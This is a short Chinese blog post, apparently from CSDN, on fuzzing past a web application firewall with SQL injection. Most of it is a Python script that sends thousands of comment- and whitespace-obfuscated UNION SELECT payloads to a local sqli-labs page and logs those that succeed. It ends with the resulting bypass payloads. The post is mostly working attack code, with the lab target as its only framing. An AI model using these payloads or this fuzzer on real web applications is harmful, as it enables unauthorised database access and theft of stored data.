fuzz绕waf

fuzz绕waf(SQL注入)

1.fuzz.py

import requests
import sys

fuzz_zs = ['/*', '*/', '/*!', '/**/', '?', '/', '*', '=', '`', '!', '%', '.', '-', '+']
fuzz_sz = ['']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j","%0k","%0l","%0m","%0n"]

fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36"}
url_start = "http://192.168.254.198/sqli-labs/Less-1/?id=-1'"
# http://192.168.254.182/sql-labs/Less-1
len = len(fuzz) ** 5
num = 0
for a in fuzz:
    for b in fuzz:
        for c in fuzz:
            for d in fuzz:
                for e in fuzz:
                    num += 1
                    payload = "/*!union/*/*!?*/%0bselect*/ 1,2,database"+a+b+c+d+e+"() --+"
                    url = url_start + payload
                    sys.stdout.write(' ' * 30 + '\r')
                    sys.stdout.flush()
                    print("Now URL:" + url)
                    sys.stdout.write("完成进度:%s/%s \r" % (num, len))
                    sys.stdout.flush()
                    res = requests.get(url, headers=headers)
                    #print(res.text)
                    if "Password" in res.text:
                        with open("Results.txt", 'a', encoding='utf-8') as r:
                            r.write(url + "\n")

2.payload

payload根据测试的结果依次进行更改
绕过union select:"/*!union" + a + b + c + d + e + "select*/ 1,2,3 --+"
结果:"/*!union/*/*!?*/%0bselect*/ 1,2,3 --+"

绕过database()"/*!union/*/*!?*/%0bselect*/ 1,2,database"+a+b+c+d+e+"() --+"
结果:/*!union/*/*!?*/%0bselect*/ 1,2,database/*/**//**/%0b() --+
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值